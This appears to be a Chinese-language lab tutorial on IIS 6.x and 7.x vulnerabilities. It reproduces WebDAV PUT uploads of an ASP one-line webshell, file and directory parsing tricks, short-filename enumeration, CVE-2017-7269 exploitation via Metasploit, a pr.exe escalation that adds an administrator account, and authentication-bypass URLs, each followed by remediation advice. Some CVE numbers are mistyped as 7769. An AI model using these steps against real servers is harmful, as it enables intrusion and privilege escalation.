一、IIS 简介
internet information services(IIS,以前称做Internet information server)互联网信息服务是Microsoft公司提供的可扩展WEB服务器,支持HTTP,HTTP/2,HTTPS,FTP,FPTS,SMTP professional,windows server 2003和后续版本一起发行。IIS目前只适用于windwos操作系统,不适用于其他操作系统。
根据Netcraft在2018年9月最新全球WEB服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙的服务器,落后Apache 34.07%和Nginx 25.45%。目前留下的windwos版本都是默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高位漏洞,将其出现范围广,影响身的特点。
windows 2016 对应 IIS10.0
windows 2012 对应 IIS8.5
windows 7 对应 IIS7.5
windows server 2008 对应 IIS7.5
windows vista Business, Enterpise 以及 ultimate 对应 IIS7
Windows Vista Home Premium 对应 IIS7
Windows Vista Home Edition 不支持 pws 或IIS
windows server 2003 对应 IIS 6.0
windows xp professional 对应 IIS5.1
windows 2000 professional 对应 IIS5.0
windows NT professional 对应 IIS3.0并支持IIS 4
某实验室对IIS近十几年(2005年之后)的35漏洞进行整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露。
下面我们根据不同版本的IIS的漏洞进行分析
二、IIS 6.x漏洞原理分析及复现
1、IIS 6.x安装
需要2003或以上系统,支持6.x版本(6.X版本需要通过安装包安装)
访问本机80端口,我们看到了我们刚刚听过IIS建立的网站
2、IIS6.x 写权限漏洞
漏洞简述
IIS开启WEB DAV服务、开启写入权限及来宾用户对文件夹具备读写权限,会引起IIS写权限漏洞(攻击者可以上传文件)
PUT任意上传漏洞
开启脚本资源访问和写入
查看wwwroot目录用户的读写权限
使用IISPutScanner测试
下载地址
https://github.com/imkangkang/CTFTools
创建一下文本输入一句话木马,使用iiswrite上传文件
<%eval request("chopper")%>
我们可以看到这里已经通过PUT方法上传了一个包含ASP一句话的txt文件。之所以不直接上传一个asp一句话是因为通过上传txt文本不会出错,但是上传asp可能会出错
为了获取shell,这里可以使用move方法将刚刚上传的txt文件修改为asp文件,从而将文本文件变为可执行的脚本。move协议不会改为文件内容
开始IIS的asp解析功能
通过move参数,修改文件名称
使用蚁剑连接
修建建议
通过整个漏洞的复现过程我们也可以知道IIS put漏洞完成是因为管理员配置不当导致的。所以想要修复漏洞只需要进行以下三点:
1、关闭webDAV
2、关闭写入权限
3、管理来宾找到写入权限
3、文件解析漏洞
漏洞简述
IIS文件解析漏洞:*.asp;.xxx像这样畸形,IIS会把 *.asp;.xxx文件当做 *.asp文件来执行,不会看分号之后的内容。
IIS目标解析漏洞:以 *。asp命名的文件夹中的文件都可以当做asp文件执行。
漏洞复现
首先创建一个sy.asp文件
然后再创建几个一样的文件,直接复制sy.asp该文件名即可:
访问以上三个文件
我们可以看到文件名中包含".asp;"可以被解析为asp文件。
修复建议
1、上传的文件需要通过重命名(时间戳+随机数+jpg等)
2、设置文件上传规则
4、IIS目录解析漏洞
漏洞简述
默认将 *.asp/目录下的全部文件解析为asp。
漏洞复现
这里说明一下,这两个目录开始是空的
分布访问两个目录下的文件
123目录
1.asp目录
以上就是IIS目录文件解析漏洞另外,IIS6.x除了会将扩展名为。asp之外,还会将扩展名为.asa、.cdx、.cer等解析为asp
从网站属性>主目录>配置 可以看出,他们都是调用了asp.dll进行解析:(畸形解析)
修复建议
由于微软不认为这里是一个漏洞,也没有退出IIS6.0的补丁,因此漏洞需要自己修复
1、设置无执行权限
2、不允许新建目录
3、上传的文件需要通过重命名(时间戳+随机数+jpg等)
5、IIS 短文件漏洞
漏洞简述
攻击者可以利用“~"字符猜解或遍历服务器中文件名,或对IIS服务器中的.NET Framework进行拒绝服务攻击,就是存在文件枚举漏洞,攻击者可利用此漏洞网络服务器根目录中的文件
漏洞分析
windows生成MS-DOS兼容的(短)文件名,允许基于MS-DOS或者16位windows的进程访问这些文件。在cmd下输入"dir /x"即可看到短文件的效果
IIS段文件名产生的原因
1.当后缀小于4个字符时,短文件名需要文件(夹)名前缀字符长度大于等于9位。
2、当前缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持段文件名猜测的HTTP方法主要包含:DEBUG、OPTTIONS、GET、POST、HEAD、TRACE六种。
IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功
漏洞复现
IIS8.0以下版本需要开启ASP.NET支持,IIS大于等于8.0版本,及时没有安装ASP.NET,通过OPENTS和TRACE方法也可以猜测成功。
模拟创建两个后缀为4个长度的文件
当访问构造的某个存在的段文件名,会返回404
I*~1*/.aspx
当访问构造的默认不存在的段文件名,会返回400
或者
IIS短文件漏洞的局限性
1)如果文件名太短无法猜测
2)此漏洞只能确定前六个字符,如果后面的字符太长、包含特殊字符,很难猜测
3)如果文件名前6位带空格,8.3格式的短文件名会补进和真实文件名不匹配
4)如果文件夹前六位字符带“.",扫描程序会认为这是一个文件而不是文件夹,最终出现误报
5)不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符、故超过4个中文会产生短文件名,但IIS不支持中文猜测
利用工具进行短文件名猜测
下载地址
https://github.com/WebBreacher/tilde_enum
https://github.com/irsdl/IIS-ShortName-Scanner
安装java7
然后点击run.bat输入地址
修复建议
1)从CMD命令关闭NTFS 8.3文件格式的支持
windows server 2003:(1代表关闭,0代表开启)
关闭该功能
fsutil behavior set disable8dot3 1
windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
不同系统关闭命令稍有区别,该功能默认是开启的
2)或者从修改注册表关闭NTFS 8.3文件格式的支持
快捷键WIN+R打开命令窗口,输入regedit开大注册表
找到路径
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
将其中的NefsDisable8dot3NameCreation这一项的值设置为1,代表不能创建短文件名格式
此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的段文件名无法移除,需要重新复制才会消息。
例:将web文件夹的内容拷贝到拎一个位置,如c:\www到c:\ww,删除员原来文件夹,在重命名c:\www。
注意:
以上两种方式修复完成后,均需要重启操作系统。
实战用处
1、猜后台
2、猜敏感文件、例如备份的rar、zip、.bak、sql等文件
3、在某些情形下,甚至可以通过段文件名直接下载对用的文件。比如下载备份的sql文件。
6、CVE-2017-7769缓冲区溢出
漏洞简述
windows server 2003 R2中的IIS6.0中的webDAV服务中的ScStoragePathFromUrl函数中缓冲区溢出允许远程攻击者通过“if: <http://"开头的长标头执行任意代码PROFIND请求。
利用条件
在windows 2003 R2上开启IIS 6.0并开启webDAV扩张
漏洞复现
EXP:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
修改EXP
执行exp
任务管理器开启了calc.exe进程,因为计算机是网络服务权限打开的,所以在桌面上看不到,需要python2环境
修复建议:
1、关闭webDAV服务
2、使用相关防护设备
CVE-2017-7769缓冲区溢出远程代码执行实战运用
漏洞复现
启动WEBDAV
exp下载地址
https://github.com/zcgonvh/cve-2017-7269
下载后放入msf中,路径为/usr/share/metasploit-framework/exploits/windows/iis/
注意文件名中-应该改为_否则无法识别,然后拿到shell(失败后靶机恢复快照,否则可能之后的攻击无效)
gedit cve_2017_7769
放入文件夹后直接允许msf,加载rb脚本
use exploit/windows/iis/cve_2017_7269
可以看到利用失败
检查原因如下
默认网站》属性,在IP地址未分配,可以解释为非默认绑定,该exp只适用默认绑定和默认路径的情况下才可以提权,设置完成后需要重启一下系统
利用溢出漏洞,获得shell
溢出的字符长度检测
EXP下载地址
https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
使用python2运行环境,检测出溢出的字符长度为19
在msf设置physicalPathLength为19
set PhysicalPathLength 19
成功拿到低权限用户
ACL权限漏洞
漏洞提权
pr.exe 提权Windows跟踪注册表项的ACL权限提升漏洞 Windows管理规范(WMI)提供程序没有正确地隔离NetworkService或LocalService帐号下运行的进程,同一帐号下运行的两个独立进程可以完全访问对方的文件句柄、注册表项等资源。WMI提供程序主机进程在某些情况下会持有SYSTEM令牌,如果攻击者可以以 NetworkService或LocalService帐号访问计算机,攻击者就可以执行代码探索SYSTEM令牌的WMI提供程序主机进程。一旦找到了SYSTEM令牌,就可以获得SYSTEM权限的提升。使用方法:pr.exe “gets.exe $local”pr.exe “net user admin1 admin1 /add & net localgroup administrators admin /add”
利用meterpreter上传pr.exe
pwd
cd ../../..
mkdir sy
upload '/root/Desktop/cve_2017_7269/pr.exe' c:\\sy
然后创建用户sy并添加到管理员组:
pr.exe "net user sy 123456 /add"
pr.exe "net localgroup administrators sy /add"
查看sy用户权限
net user sy
成功提权!!!
三、IIS 7.X漏洞原理分析及复现
1、IIS 7.5安装
本次安装使用windwos 7操作系统
勾选下图中的相关服务即可
在开始查询IIS是否存在
IIS管理界面
执行web服务器根目录
设置HTTP端口
2、IIS联动php
1、使用phpstudy与IIS联动
删除网站
下载并打开phpstudy,切换版本为php+IIS
打开IIS管理界面
访问web界面
2、使用ISAPI或CGI限制设置PHP联动
编辑"ISAPI或者CGI限制"
添加安装的ph-cgi.exe路径,描述随意添加
返回前一步的第一张图片位置,点击处理程序映射,添加脚本映射如下
3、IIS7&7.5解析漏洞
漏洞简述
漏洞影响 IIS7 及IIS7.5 在使FastCGI方式调用php时,在php.ini里设置
cgi.fix_pathinfo=1
使得访问任意文件URL时,在URL后面添加“/x.php”等字符时,该文件被iis当php文件代码解析。
漏洞复现
我们在png格式文件中编辑php函数 phpinfo(),正常情况是访问png文件,系统无法识别png文件中的php函数
在后缀添加/.php,访问图片
设置‘仅当请求映射以下内容才调用处理程序’
通过在url后添加/.php方式成功运行了png中phpinfo()函数
修复建议
配置cgi.fix\_pathinfo(php.ini中)为0并重启php-cgi程序
4、IIS 6.0&7.5认证绕过漏洞
漏洞简述
Microsoft IIS是Microsoft windows系统默认自带的web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经过正确验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
影响版本
IIS 6.0
IIS 7.5
漏洞类型
IIS由于无法正确处理用户提供的输入,容易出现身份验证绕过和源代码泄露漏洞。主要包含一下三类绕过:
(1)安装php的iis 6.0身份验证绕过
IIS 6.0 加载受保护(如:admin)目录中的php文件需要用户认证信息(用户名和密码访问),如果将“::$INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过绕过认证并可能访问管理文件等特殊凭空,导致IIS服务器重要信息泄露。
http://ip:port/admin::$INDEX_ALLOCATION/index.php
(2)IIS 7.5经典ASP身份认证绕过
配置了ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$i30:$INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过ASP文件访问限制。
http://ip:port/admin:$i30:$INDEX_ALLOCATION/index.asp
(3)IIS 7.5 .NET源代码公开和身份验证绕过
在配置安装了PHP的IIS 7.5,存在认证绕过漏洞
将运行PHP脚本,而不要求提供正确的凭据。通过将/.php附加到ASPX文件(或使用.NET framework的任何其他文件,该文件未通过请求筛选规则阻止,如配置错误的:.CS、.VB文件),IIS/7.5将以该文件的完整源代码响应,并将其作为php代码执行。这意味着通过使用upload特性,可以(在特殊情况下)执行任意PHP代码。
http://ip:port/admin:$i30:$INDEX_ALLOCATION/admin.php
漏洞复现
windows 7 x64 安装IIS7.5
IIS网站根目录下创建admin用户目录,禁用匿名身份验证,换言之,访问/admin/phpinfo.php目录需要认证信息,认证失败或者无法认证将返回401未授权页面错误
配置完成后,重启IIS服务器,浏览器远程访问次目录文件
http://192.168.43.132/admin/phpinfo.php 默认IIS账户访问提示401未授权
接下来,利用 :$i30:$INDEX_ALLOCATION 来绕过此限制,浏览器访问
http://192.168.43.132/admin:$i30:$INDEX\_ALLOCATION/phpinfo.php
成功绕过认证访问到了敏感信息
拓展思路
除此以外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行!演示!
正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo函数
结合解析漏洞+认证绕过漏洞
http://192.168.43.132/admin:$i30:$INDEX_ALLOCATION/1.aspx/.php
可以看到通过末尾加上index.aspx/.php形式(解析漏洞)访问成功执行php代码
修复建议
1、IIS 7.5配置.net framework 2.0不受上述(2)的绕过影响